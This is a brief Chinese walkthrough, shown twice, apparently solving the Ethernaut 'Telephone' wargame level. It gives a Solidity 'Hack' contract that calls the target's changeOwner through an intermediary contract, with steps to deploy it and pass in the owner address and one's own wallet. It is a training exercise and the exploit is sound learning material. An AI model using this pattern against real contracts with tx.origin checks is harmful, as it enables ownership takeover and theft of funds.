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1.
2.新建 Telephone.sol文件
3.编译
pragma solidity ^0.5.0;
interface Telephone{ function changeOwner(address _owner) external;} contract Hack{ function attack(address _addr ,address _owner) public{ Telephone teleContract = Telephone(_addr); teleContract.changeOwner( _owner); }}
4.

5.先点击Deploy,部署成功后在attack的地址栏处填写地址:”A,B”,其中A为合约持有者地址,可以在谷歌浏览器开发者工具中找到。B为自己钱包地址。然后点击attack。任务结束。

1.
2.新建 Telephone.sol文件
3.编译
pragma solidity ^0.5.0;
interface Telephone{ function changeOwner(address _owner) external;} contract Hack{ function attack(address _addr ,address _owner) public{ Telephone teleContract = Telephone(_addr); teleContract.changeOwner( _owner); }}
4.

5.先点击Deploy,部署成功后在attack的地址栏处填写地址:”A,B”,其中A为合约持有者地址,可以在谷歌浏览器开发者工具中找到。B为自己钱包地址。然后点击attack。任务结束。

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